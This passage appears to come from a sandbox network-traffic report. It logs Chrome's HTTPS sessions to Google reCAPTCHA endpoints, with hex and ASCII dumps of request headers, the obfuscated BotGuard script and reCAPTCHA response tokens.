U+0323, U+0329, U+1EA0-1EF9, U+20AB;}/* latin-ext */@font-face { font-family: 'Roboto'; font-style: normal; font-weight: 900; src: url(//fonts.gstatic.com/s/
2024-10-01 13:37:22 UTC	361	IN	Data Raw: 72 69 70 74 22 20 6e 6f 6e 63 65 3d 22 63 52 74 74 48 59 6b 4f 79 5a 54 2d 4d 33 6e 7a 57 63 50 61 35 67 22 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 72 65 63 61 70 74 63 68 61 2e 66 72 61 6d 65 2e 4d 61 69 6e 2e 69 6e 69 74 28 22 5b 5c 78 32 32 66 69 6e 70 75 74 5c 78 32 32 2c 6e 75 6c 6c 2c 5b 5c 78 32 32 63 6f 6e 66 5c 78 32 32 2c 6e 75 6c 6c 2c 5c 78 32 32 36 4c 66 37 34 6c 4d 71 41 41 41 41 41 46 71 58 47 78 6a 39 43 64 45 43 6a 75 37 68 57 78 75 4a 5f 66 48 72 41 54 48 70 5c 78 32 32 2c 30 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 30 2e 37 35 2c 6e 75 6c 6c 2c 5b 31 36 2c 32 31 2c 31 32 35 2c 36 33 2c 37 33 2c 39 35 2c 38 37 2c 34 31 2c 34 33 2c 34 32 2c 38 33 2c 31 30 32 2c 31 30 35 2c 31 30 39 2c 31 32 31 5d 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 Data Ascii: ript" nonce="cRttHYkOyZT-M3nzWcPa5g"> recaptcha.frame.Main.init("[\x22finput\x22,null,[\x22conf\x22,null,\x226Lf74lMqAAAAAFqXGxj9CdECju7hWxuJ_fHrATHp\x22,0,null,null,0.75,null,[16,21,125,63,73,95,87,41,43,42,83,102,105,109,121],null,null,nu
2024-10-01 13:37:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49757	142.250.186.36	443	5776	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-01 13:37:22 UTC	495	OUT	GET /recaptcha/api2/webworker.js?hl=en&v=xds0rzGrktR88uEZ2JUvdgOY HTTP/1.1 Host: www.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-01 13:37:22 UTC	917	IN	HTTP/1.1 200 OK Content-Type: text/javascript; charset=utf-8 Cross-Origin-Embedder-Policy: require-corp Report-To: {"group":"recaptcha","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/recaptcha"}]} Report-To: {"group":"coop_38fac9d5b82543fc4729580d18ff2d3d","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/38fac9d5b82543fc4729580d18ff2d3d"}]} Expires: Tue, 01 Oct 2024 13:37:22 GMT Date: Tue, 01 Oct 2024 13:37:22 GMT Cache-Control: private, max-age=300 Cross-Origin-Resource-Policy: same-site Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_38fac9d5b82543fc4729580d18ff2d3d" Server: ESF X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-10-01 13:37:22 UTC	108	IN	Data Raw: 36 36 0d 0a 69 6d 70 6f 72 74 53 63 72 69 70 74 73 28 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 72 65 63 61 70 74 63 68 61 2f 72 65 6c 65 61 73 65 73 2f 78 64 73 30 72 7a 47 72 6b 74 52 38 38 75 45 5a 32 4a 55 76 64 67 4f 59 2f 72 65 63 61 70 74 63 68 61 5f 5f 65 6e 2e 6a 73 27 29 3b 0d 0a Data Ascii: 66importScripts('https://www.gstatic.com/recaptcha/releases/xds0rzGrktR88uEZ2JUvdgOY/recaptcha__en.js');
2024-10-01 13:37:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49756	142.250.186.36	443	5776	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-01 13:37:22 UTC	487	OUT	GET /js/bg/dubcxWuhhbqw8uaLSFFGvELnk5WmffD3wjoYeQZ33gk.js HTTP/1.1 Host: www.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-01 13:37:22 UTC	811	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/botguard-scs Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="botguard-scs" Report-To: {"group":"botguard-scs","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/botguard-scs"}]} Content-Length: 18618 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Tue, 01 Oct 2024 08:12:52 GMT Expires: Wed, 01 Oct 2025 08:12:52 GMT Cache-Control: public, max-age=31536000 Last-Modified: Tue, 17 Sep 2024 15:00:00 GMT Content-Type: text/javascript Vary: Accept-Encoding Age: 19470 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-10-01 13:37:22 UTC	579	IN	Data Raw: 2f 2a 20 41 6e 74 69 2d 73 70 61 6d 2e 20 57 61 6e 74 20 74 6f 20 73 61 79 20 68 65 6c 6c 6f 3f 20 43 6f 6e 74 61 63 74 20 28 62 61 73 65 36 34 29 20 59 6d 39 30 5a 33 56 68 63 6d 51 74 59 32 39 75 64 47 46 6a 64 45 42 6e 62 32 39 6e 62 47 55 75 59 32 39 74 20 2a 2f 20 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 63 3d 74 68 69 73 7c 7c 73 65 6c 66 2c 43 3d 66 75 6e 63 74 69 6f 6e 28 64 29 7b 72 65 74 75 72 6e 20 64 7d 2c 6d 3d 66 75 6e 63 74 69 6f 6e 28 64 2c 61 29 7b 69 66 28 21 28 61 3d 28 64 3d 6e 75 6c 6c 2c 63 29 2e 74 72 75 73 74 65 64 54 79 70 65 73 2c 61 29 7c 7c 21 61 2e 63 72 65 61 74 65 50 6f 6c 69 63 79 29 72 65 74 75 72 6e 20 64 3b 74 72 79 7b 64 3d 61 2e 63 72 65 61 74 65 50 6f 6c 69 63 79 28 22 62 67 22 2c 7b 63 72 65 61 74 65 48 54 4d Data Ascii: /* Anti-spam. Want to say hello? Contact (base64) Ym90Z3VhcmQtY29udGFjdEBnb29nbGUuY29t */ (function(){var c=this\|\|self,C=function(d){return d},m=function(d,a){if(!(a=(d=null,c).trustedTypes,a)\|\|!a.createPolicy)return d;try{d=a.createPolicy("bg",{createHTM
2024-10-01 13:37:22 UTC	1390	IN	Data Raw: 58 2d 4c 69 63 65 6e 73 65 2d 49 64 65 6e 74 69 66 69 65 72 3a 20 41 70 61 63 68 65 2d 32 2e 30 27 2c 0a 27 2a 2f 27 2c 0a 27 76 61 72 20 64 42 3d 66 75 6e 63 74 69 6f 6e 28 64 2c 61 2c 43 29 7b 69 66 28 64 2e 6c 65 6e 67 74 68 3d 3d 33 29 7b 66 6f 72 28 43 3d 30 3b 43 3c 33 3b 43 2b 2b 29 61 5b 43 5d 2b 3d 64 5b 43 5d 3b 66 6f 72 28 43 3d 28 64 3d 5b 31 33 2c 38 2c 31 33 2c 31 32 2c 31 36 2c 35 2c 33 2c 31 30 2c 31 35 5d 2c 30 29 3b 43 3c 39 3b 43 2b 2b 29 61 5b 33 5d 28 61 2c 43 25 33 2c 64 5b 43 5d 29 7d 7d 2c 61 32 3d 66 75 6e 63 74 69 6f 6e 28 64 2c 61 2c 43 29 7b 72 65 74 75 72 6e 20 64 2e 50 45 28 66 75 6e 63 74 69 6f 6e 28 6d 29 7b 43 3d 6d 7d 2c 66 61 6c 73 65 2c 61 29 2c 43 7d 2c 63 62 3d 66 75 6e 63 74 69 6f 6e 28 64 2c 61 2c 43 2c 6d 2c 63 2c Data Ascii: X-License-Identifier: Apache-2.0','*/','var dB=function(d,a,C){if(d.length==3){for(C=0;C<3;C++)a[C]+=d[C];for(C=(d=[13,8,13,12,16,5,3,10,15],0);C<9;C++)a[3](a,C%3,d[C])}},a2=function(d,a,C){return d.PE(function(m){C=m},false,a),C},cb=function(d,a,C,m,c,
2024-10-01 13:37:22 UTC	1390	IN	Data Raw: 20 64 2e 59 3f 5a 74 28 64 2e 44 2c 64 29 3a 4a 28 38 2c 74 72 75 65 2c 64 29 7d 2c 58 74 3d 66 75 6e 63 74 69 6f 6e 28 64 2c 61 2c 43 2c 6d 2c 63 29 7b 66 6f 72 28 63 3d 28 64 3d 64 2e 72 65 70 6c 61 63 65 28 2f 5c 5c 72 5c 5c 6e 2f 67 2c 22 5c 5c 6e 22 29 2c 61 3d 30 2c 5b 5d 29 2c 43 3d 30 3b 61 3c 64 2e 6c 65 6e 67 74 68 3b 61 2b 2b 29 6d 3d 64 2e 63 68 61 72 43 6f 64 65 41 74 28 61 29 2c 6d 3c 31 32 38 3f 63 5b 43 2b 2b 5d 3d 6d 3a 28 6d 3c 32 30 34 38 3f 63 5b 43 2b 2b 5d 3d 6d 3e 3e 36 7c 31 39 32 3a 28 28 6d 26 36 34 35 31 32 29 3d 3d 35 35 32 39 36 26 26 61 2b 31 3c 64 2e 6c 65 6e 67 74 68 26 26 28 64 2e 63 68 61 72 43 6f 64 65 41 74 28 61 2b 31 29 26 36 34 35 31 32 29 3d 3d 35 36 33 32 30 3f 28 6d 3d 36 35 35 33 36 2b 28 28 6d 26 31 30 32 33 29 Data Ascii: d.Y?Zt(d.D,d):J(8,true,d)},Xt=function(d,a,C,m,c){for(c=(d=d.replace(/\\r\\n/g,"\\n"),a=0,[]),C=0;a<d.length;a++)m=d.charCodeAt(a),m<128?c[C++]=m:(m<2048?c[C++]=m>>6\|192:((m&64512)==55296&&a+1<d.length&&(d.charCodeAt(a+1)&64512)==56320?(m=65536+((m&1023)
2024-10-01 13:37:22 UTC	1390	IN	Data Raw: 6e 63 74 69 6f 6e 28 64 2c 61 2c 43 2c 6d 29 7b 66 6f 72 28 3b 61 2e 47 2e 6c 65 6e 67 74 68 3b 29 7b 43 3d 28 61 2e 53 3d 6e 75 6c 6c 2c 61 2e 47 29 2e 70 6f 70 28 29 3b 74 72 79 7b 6d 3d 74 75 28 61 2c 43 29 7d 63 61 74 63 68 28 63 29 7b 4e 28 63 2c 61 29 7d 69 66 28 64 26 26 61 2e 53 29 7b 64 3d 61 2e 53 2c 64 28 66 75 6e 63 74 69 6f 6e 28 29 7b 67 28 61 2c 74 72 75 65 2c 74 72 75 65 29 7d 29 3b 62 72 65 61 6b 7d 7d 72 65 74 75 72 6e 20 6d 7d 2c 6c 6c 3d 66 75 6e 63 74 69 6f 6e 28 64 2c 61 2c 43 29 7b 69 66 28 28 43 3d 74 79 70 65 6f 66 20 64 2c 43 29 3d 3d 22 6f 62 6a 65 63 74 22 29 69 66 28 64 29 7b 69 66 28 64 20 69 6e 73 74 61 6e 63 65 6f 66 20 41 72 72 61 79 29 72 65 74 75 72 6e 22 61 72 72 61 79 22 3b 69 66 28 64 20 69 6e 73 74 61 6e 63 65 6f 66 Data Ascii: nction(d,a,C,m){for(;a.G.length;){C=(a.S=null,a.G).pop();try{m=tu(a,C)}catch(c){N(c,a)}if(d&&a.S){d=a.S,d(function(){g(a,true,true)});break}}return m},ll=function(d,a,C){if((C=typeof d,C)=="object")if(d){if(d instanceof Array)return"array";if(d instanceof
2024-10-01 13:37:22 UTC	1390	IN	Data Raw: 3d 6d 7d 2c 43 7d 2c 75 3d 66 75 6e 63 74 69 6f 6e 28 64 2c 61 2c 43 2c 6d 2c 63 2c 5a 2c 65 2c 46 29 7b 69 66 28 21 64 2e 6a 69 26 26 28 46 3d 76 6f 69 64 20 30 2c 43 26 26 43 5b 30 5d 3d 3d 3d 47 26 26 28 46 3d 43 5b 32 5d 2c 61 3d 43 5b 31 5d 2c 43 3d 76 6f 69 64 20 30 29 2c 63 3d 77 28 64 2c 33 39 37 29 2c 63 2e 6c 65 6e 67 74 68 3d 3d 30 26 26 28 65 3d 77 28 64 2c 39 30 29 3e 3e 33 2c 63 2e 70 75 73 68 28 61 2c 65 3e 3e 38 26 32 35 35 2c 65 26 32 35 35 29 2c 46 21 3d 76 6f 69 64 20 30 26 26 63 2e 70 75 73 68 28 46 26 32 35 35 29 29 2c 61 3d 22 22 2c 43 26 26 28 43 2e 6d 65 73 73 61 67 65 26 26 28 61 2b 3d 43 2e 6d 65 73 73 61 67 65 29 2c 43 2e 73 74 61 63 6b 26 26 28 61 2b 3d 22 3a 22 2b 43 2e 73 74 61 63 6b 29 29 2c 43 3d 77 28 64 2c 35 30 32 29 2c Data Ascii: =m},C},u=function(d,a,C,m,c,Z,e,F){if(!d.ji&&(F=void 0,C&&C[0]===G&&(F=C[2],a=C[1],C=void 0),c=w(d,397),c.length==0&&(e=w(d,90)>>3,c.push(a,e>>8&255,e&255),F!=void 0&&c.push(F&255)),a="",C&&(C.message&&(a+=C.message),C.stack&&(a+=":"+C.stack)),C=w(d,502),
2024-10-01 13:37:22 UTC	1390	IN	Data Raw: 28 29 29 2c 6e 65 77 20 43 29 2c 6d 7d 5d 7d 2c 46 74 3d 66 75 6e 63 74 69 6f 6e 28 64 2c 61 29 7b 72 65 74 75 72 6e 20 64 28 66 75 6e 63 74 69 6f 6e 28 43 29 7b 43 28 61 29 7d 29 2c 5b 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 61 7d 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 5d 7d 2c 69 6c 3d 66 75 6e 63 74 69 6f 6e 28 64 2c 61 29 7b 72 65 74 75 72 6e 20 61 3d 30 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 61 3c 64 2e 6c 65 6e 67 74 68 3f 7b 64 6f 6e 65 3a 66 61 6c 73 65 2c 76 61 6c 75 65 3a 64 5b 61 2b 2b 5d 7d 3a 7b 64 6f 6e 65 3a 74 72 75 65 7d 7d 7d 2c 43 24 3d 66 75 6e 63 74 69 6f 6e 28 64 2c 61 2c 43 2c 6d 2c 63 2c 5a 2c 65 2c 46 29 7b 66 6f 72 28 28 63 2e 75 5a 3d 57 62 28 63 2e 56 2c 28 63 2e 72 61 3d 63 5b 6b 5d 2c 63 2e 73 Data Ascii: ()),new C),m}]},Ft=function(d,a){return d(function(C){C(a)}),[function(){return a},function(){}]},il=function(d,a){return a=0,function(){return a<d.length?{done:false,value:d[a++]}:{done:true}}},C$=function(d,a,C,m,c,Z,e,F){for((c.uZ=Wb(c.V,(c.ra=c[k],c.s
2024-10-01 13:37:22 UTC	1390	IN	Data Raw: 66 2c 51 2c 4f 2c 57 2c 70 2c 71 2c 4c 29 7b 66 6f 72 28 51 3d 77 28 66 2c 28 57 3d 28 70 3d 28 4c 3d 42 28 66 29 2c 65 31 28 66 29 29 2c 22 22 29 2c 32 37 33 29 29 2c 71 3d 51 2e 6c 65 6e 67 74 68 2c 4f 3d 30 3b 70 2d 2d 3b 29 4f 3d 28 28 4f 7c 30 29 2b 28 65 31 28 66 29 7c 30 29 29 25 71 2c 57 2b 3d 65 5b 51 5b 4f 5d 5d 3b 52 28 4c 2c 66 2c 57 29 7d 2c 28 52 28 28 28 63 2e 4b 79 3d 28 52 28 34 33 38 2c 28 63 2e 48 45 3d 28 41 28 63 2c 66 75 6e 63 74 69 6f 6e 28 66 2c 51 2c 4f 2c 57 29 7b 4f 3d 42 28 28 57 3d 28 51 3d 42 28 66 29 2c 42 29 28 66 29 2c 66 29 29 2c 52 28 4f 2c 66 2c 77 28 66 2c 51 29 7c 7c 77 28 66 2c 57 29 29 7d 2c 28 41 28 63 2c 28 52 28 34 36 31 2c 63 2c 28 41 28 63 2c 28 41 28 63 2c 66 75 6e 63 74 69 6f 6e 28 66 2c 51 2c 4f 29 7b 52 28 Data Ascii: f,Q,O,W,p,q,L){for(Q=w(f,(W=(p=(L=B(f),e1(f)),""),273)),q=Q.length,O=0;p--;)O=((O\|0)+(e1(f)\|0))%q,W+=e[Q[O]];R(L,f,W)},(R(((c.Ky=(R(438,(c.HE=(A(c,function(f,Q,O,W){O=B((W=(Q=B(f),B)(f),f)),R(O,f,w(f,Q)\|\|w(f,W))},(A(c,(R(461,c,(A(c,(A(c,function(f,Q,O){R(
2024-10-01 13:37:22 UTC	1390	IN	Data Raw: 4e 73 3d 21 28 63 2e 42 45 3d 5b 5d 2c 31 29 2c 63 29 2e 58 3d 76 6f 69 64 20 30 2c 5b 5d 29 2c 46 29 2e 74 69 6d 65 4f 72 69 67 69 6e 7c 7c 28 46 2e 74 69 6d 69 6e 67 7c 7c 7b 7d 29 2e 6e 61 76 69 67 61 74 69 6f 6e 53 74 61 72 74 7c 7c 30 2c 63 29 2e 43 3d 5b 5d 2c 6d 26 26 6d 2e 6c 65 6e 67 74 68 3d 3d 32 26 26 28 63 2e 42 45 3d 6d 5b 31 5d 2c 63 2e 44 78 3d 6d 5b 30 5d 29 2c 63 29 2c 30 29 2c 39 30 29 2c 63 2c 30 29 2c 31 35 38 29 29 2c 33 32 35 29 29 2c 33 32 29 29 2c 63 29 2c 63 29 2c 33 32 34 29 29 2c 52 29 28 33 32 31 2c 63 2c 37 39 33 29 2c 34 36 35 29 29 2c 31 34 29 29 2c 66 75 6e 63 74 69 6f 6e 28 66 2c 51 29 7b 28 66 3d 28 51 3d 42 28 66 29 2c 77 28 66 2e 49 2c 51 29 29 2c 66 29 5b 30 5d 2e 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 Data Ascii: Ns=!(c.BE=[],1),c).X=void 0,[]),F).timeOrigin\|\|(F.timing\|\|{}).navigationStart\|\|0,c).C=[],m&&m.length==2&&(c.BE=m[1],c.Dx=m[0]),c),0),90),c,0),158)),325)),32)),c),c),324)),R)(321,c,793),465)),14)),function(f,Q){(f=(Q=B(f),w(f.I,Q)),f)[0].removeEventListene
2024-10-01 13:37:22 UTC	1390	IN	Data Raw: 68 2c 51 3d 4f 2e 58 75 2c 4f 3d 4f 2e 65 69 2c 71 3d 70 3d 3d 30 3f 6e 65 77 20 4f 5b 57 5d 3a 70 3d 3d 31 3f 6e 65 77 20 4f 5b 57 5d 28 71 5b 30 5d 29 3a 70 3d 3d 32 3f 6e 65 77 20 4f 5b 57 5d 28 71 5b 30 5d 2c 71 5b 31 5d 29 3a 70 3d 3d 33 3f 6e 65 77 20 4f 5b 57 5d 28 71 5b 30 5d 2c 71 5b 31 5d 2c 71 5b 32 5d 29 3a 70 3d 3d 34 3f 6e 65 77 20 4f 5b 57 5d 28 71 5b 30 5d 2c 71 5b 31 5d 2c 71 5b 32 5d 2c 71 5b 33 5d 29 3a 32 28 29 2c 52 28 51 2c 66 2c 71 29 29 7d 2c 31 36 29 2c 49 29 28 5b 4c 24 5d 2c 63 29 2c 4d 39 29 2c 5a 5d 2c 63 29 2c 5b 7a 62 2c 61 5d 29 2c 63 29 2c 63 29 2c 74 72 75 65 2c 74 72 75 65 29 7d 2c 5a 74 3d 66 75 6e 63 74 69 6f 6e 28 64 2c 61 29 7b 72 65 74 75 72 6e 28 64 3d 64 2e 63 72 65 61 74 65 28 29 2e 73 68 69 66 74 28 29 2c 61 29 Data Ascii: h,Q=O.Xu,O=O.ei,q=p==0?new O[W]:p==1?new O[W](q[0]):p==2?new O[W](q[0],q[1]):p==3?new O[W](q[0],q[1],q[2]):p==4?new O[W](q[0],q[1],q[2],q[3]):2(),R(Q,f,q))},16),I)([L$],c),M9),Z],c),[zb,a]),c),c),true,true)},Zt=function(d,a){return(d=d.create().shift(),a)
2024-10-01 13:37:22 UTC	1390	IN	Data Raw: 61 29 3b 65 6c 73 65 20 69 66 28 63 3d 3d 7a 62 29 7b 74 72 79 7b 66 6f 72 28 6d 3d 30 3b 6d 3c 64 2e 43 2e 6c 65 6e 67 74 68 3b 6d 2b 2b 29 74 72 79 7b 43 3d 64 2e 43 5b 6d 5d 2c 43 5b 30 5d 5b 43 5b 31 5d 5d 28 43 5b 32 5d 29 7d 63 61 74 63 68 28 5a 29 7b 7d 7d 63 61 74 63 68 28 5a 29 7b 7d 28 30 2c 61 5b 31 5d 29 28 66 75 6e 63 74 69 6f 6e 28 5a 2c 65 29 7b 64 2e 50 45 28 5a 2c 74 72 75 65 2c 65 29 7d 2c 66 75 6e 63 74 69 6f 6e 28 5a 29 7b 28 49 28 5b 79 37 5d 2c 28 5a 3d 21 64 2e 47 2e 6c 65 6e 67 74 68 2c 64 29 29 2c 5a 29 26 26 67 28 64 2c 74 72 75 65 2c 66 61 6c 73 65 29 7d 2c 66 75 6e 63 74 69 6f 6e 28 5a 29 7b 72 65 74 75 72 6e 20 64 2e 7a 6f 28 5a 29 7d 2c 28 6d 3d 28 64 2e 43 3d 5b 5d 2c 64 29 2e 67 28 29 2c 66 75 6e 63 74 69 6f 6e 28 5a 29 7b Data Ascii: a);else if(c==zb){try{for(m=0;m<d.C.length;m++)try{C=d.C[m],C[0][C[1]](C[2])}catch(Z){}}catch(Z){}(0,a[1])(function(Z,e){d.PE(Z,true,e)},function(Z){(I([y7],(Z=!d.G.length,d)),Z)&&g(d,true,false)},function(Z){return d.zo(Z)},(m=(d.C=[],d).g(),function(Z){

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49766	142.250.185.132	443	5776	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-01 13:37:31 UTC	864	OUT	POST /recaptcha/api2/reload?k=6Lf74lMqAAAAAFqXGxj9CdECju7hWxuJ_fHrATHp HTTP/1.1 Host: www.google.com Connection: keep-alive Content-Length: 10225 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-protobuffer Accept: / Origin: https://www.google.com X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.google.com/recaptcha/api2/bframe?hl=en&v=xds0rzGrktR88uEZ2JUvdgOY&k=6Lf74lMqAAAAAFqXGxj9CdECju7hWxuJ_fHrATHp Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-01 13:37:31 UTC	10225	OUT	Data Raw: 0a 18 78 64 73 30 72 7a 47 72 6b 74 52 38 38 75 45 5a 32 4a 55 76 64 67 4f 59 12 ce 0f 30 33 41 46 63 57 65 41 36 47 67 6e 31 4f 6f 6d 55 70 6c 50 45 35 31 64 66 69 69 79 62 2d 5f 34 47 59 52 6e 54 75 39 77 58 51 6d 79 77 50 2d 6f 36 4b 64 49 47 36 52 63 4c 49 32 72 78 46 6b 6c 58 39 75 45 48 36 48 54 69 39 32 4b 31 4e 50 54 57 78 49 5a 73 76 64 6a 4c 52 50 36 53 56 78 76 45 59 43 4e 78 72 72 4d 4c 75 77 61 39 4b 5f 57 35 54 48 56 6c 4c 4d 7a 44 6f 72 48 75 5f 4d 6b 52 43 30 6c 48 54 35 45 30 55 51 63 53 4d 79 42 46 56 64 4b 78 59 44 34 43 2d 31 53 46 69 45 6f 55 76 5f 50 61 66 35 68 34 5f 67 79 77 52 48 6e 6d 6b 34 6a 69 68 66 75 30 55 74 46 4c 6a 6c 78 49 43 2d 6d 68 7a 30 74 30 51 6e 41 42 64 52 65 38 37 58 6b 74 52 35 52 31 72 50 63 6c 62 51 4c 53 75 Data Ascii: xds0rzGrktR88uEZ2JUvdgOY03AFcWeA6Ggn1OomUplPE51dfiiyb-_4GYRnTu9wXQmywP-o6KdIG6RcLI2rxFklX9uEH6HTi92K1NPTWxIZsvdjLRP6SVxvEYCNxrrMLuwa9K_W5THVlLMzDorHu_MkRC0lHT5E0UQcSMyBFVdKxYD4C-1SFiEoUv_Paf5h4_gywRHnmk4jihfu0UtFLjlxIC-mhz0t0QnABdRe87XktR5R1rPclbQLSu
2024-10-01 13:37:31 UTC	1000	IN	HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8 X-Content-Type-Options: nosniff Cross-Origin-Resource-Policy: same-site Report-To: {"group":"coop_38fac9d5b82543fc4729580d18ff2d3d","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/38fac9d5b82543fc4729580d18ff2d3d"}]} Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_38fac9d5b82543fc4729580d18ff2d3d" Date: Tue, 01 Oct 2024 13:37:31 GMT Server: ESF Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Set-Cookie: _GRECAPTCHA=09AGteOyp93zRCaP7cAsCcZzF4zhZ-ILzArgZKOif4TQyq_QtDyZllpgk7xRFpO7fTV89raEeSx57z7935ZzWbXQw; Expires=Sun, 30-Mar-2025 13:37:31 GMT; Path=/recaptcha; Secure; HttpOnly; Priority=HIGH; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Sec-Fetch-Dest, Sec-Fetch-Mode, Sec-Fetch-Site,Accept-Encoding Expires: Tue, 01 Oct 2024 13:37:31 GMT Connection: close Transfer-Encoding: chunked
2024-10-01 13:37:31 UTC	390	IN	Data Raw: 34 30 62 31 0d 0a 29 5d 7d 27 0a 5b 22 72 72 65 73 70 22 2c 22 30 33 41 46 63 57 65 41 36 62 76 52 76 58 46 57 33 6a 2d 61 68 31 30 34 48 52 7a 61 70 61 42 36 6e 38 53 32 53 6a 70 61 31 74 55 39 77 79 75 48 70 4b 4d 47 69 75 36 44 34 68 59 56 7a 30 4a 62 4b 49 4a 44 38 45 74 76 58 62 41 72 73 4d 52 38 61 75 76 43 4b 45 6a 7a 68 55 7a 4b 41 68 43 6d 77 49 6f 6b 63 56 42 58 4c 52 49 72 6a 30 58 73 73 42 2d 69 61 55 75 59 46 78 51 66 47 36 76 66 4e 47 65 47 52 4d 49 35 56 37 57 5f 64 2d 6b 6d 62 70 63 47 50 50 67 35 6d 55 75 54 4f 63 61 52 54 4f 49 45 59 66 31 4c 6c 72 4f 4a 4a 36 69 35 51 69 49 56 39 75 33 59 5f 57 57 79 6d 4d 54 65 75 68 57 52 6e 45 5f 33 4a 31 6b 77 4c 64 45 71 34 36 57 71 65 65 75 30 33 43 35 45 59 76 32 71 73 49 72 73 57 57 4a 50 68 33 Data Ascii: 40b1)]}'["rresp","03AFcWeA6bvRvXFW3j-ah104HRzapaB6n8S2Sjpa1tU9wyuHpKMGiu6D4hYVz0JbKIJD8EtvXbArsMR8auvCKEjzhUzKAhCmwIokcVBXLRIrj0XssB-iaUuYFxQfG6vfNGeGRMI5V7W_d-kmbpcGPPg5mUuTOcaRTOIEYf1LlrOJJ6i5QiIV9u3Y_WWymMTeuhWRnE_3J1kwLdEq46Wqeeu03C5EYv2qsIrsWWJPh3
2024-10-01 13:37:31 UTC	1390	IN	Data Raw: 35 66 71 49 31 64 31 58 39 6f 6c 4d 49 43 78 6e 48 59 50 4e 51 69 70 69 5a 39 37 54 4f 63 70 73 37 64 56 62 30 73 39 4e 5a 75 75 63 47 32 72 47 76 4b 4e 34 77 6a 61 78 74 49 77 58 31 6d 74 33 73 30 4a 36 57 36 55 76 4f 65 48 53 34 44 5a 78 78 49 59 42 50 78 57 37 74 72 51 51 34 4c 4b 6d 41 77 65 39 79 76 6f 53 2d 6d 6a 67 44 72 4a 79 6a 45 75 6e 47 54 70 51 7a 76 6f 35 7a 46 38 54 76 52 76 62 31 7a 4d 4a 67 5f 4d 63 5f 30 35 69 44 42 74 6a 70 6a 74 59 54 62 65 70 33 51 71 31 37 42 75 53 71 57 6b 66 33 4a 4d 38 52 48 54 55 55 38 30 4a 72 71 53 58 76 75 6c 78 53 71 6b 38 4e 34 62 30 30 6f 2d 30 6e 5a 34 4d 65 50 37 31 6c 71 6f 6b 6b 78 6e 49 58 64 69 43 32 6c 49 58 61 66 32 6e 66 53 68 62 31 77 5f 67 6f 6f 33 4e 61 6a 71 4e 38 6f 30 45 47 48 36 38 69 4a 75 Data Ascii: 